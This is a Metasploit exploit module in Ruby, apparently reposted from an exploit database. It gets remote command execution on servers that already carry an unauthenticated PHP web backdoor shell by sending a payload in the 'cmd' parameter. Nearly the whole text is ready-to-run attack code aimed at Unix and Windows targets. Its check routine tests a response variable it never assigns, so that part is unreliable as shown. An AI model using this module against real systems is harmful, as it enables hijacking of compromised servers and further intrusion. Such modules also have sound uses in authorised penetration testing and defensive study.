## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Simple Backdoor Shell Remote Code Execution', 'Description' => %q{ This module exploits unauthenticated simple web backdoor shells by leveraging the common backdoor shell's CMD parameter to execute commands. The SecLists project of Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells which is categorized under Payloads. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jay Turla <@shipcod3>', ], 'References' => [ [ 'URL', 'http://resources.infosecinstitute.com/checking-out-backdoor-shells/' ], [ 'URL', 'https://github.com/danielmiessler/SecLists/tree/master/Payloads' ] # Most PHP Web Backdoors Listed ], 'Privileged' => false, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Platform' => %w{ unix win }, 'Arch' => ARCH_CMD, 'Targets' => [ ['backdoor / Unix', { 'Platform' => 'unix' } ], ['backdoor / Windows', { 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Sep 08 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of a backdoor shell', 'cmd.php']), ],self.class) end def check test = Rex::Text.rand_text_alpha(8) http_send_command(test) if res && res.body =~ /#{test}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def http_send_command(cmd) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'cmd' => cmd } }) unless res && res.code == 200 fail_with(Failure::Unknown, "Failed to execute the command.") end res end def exploit http_send_command(payload.encoded) end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-10-18]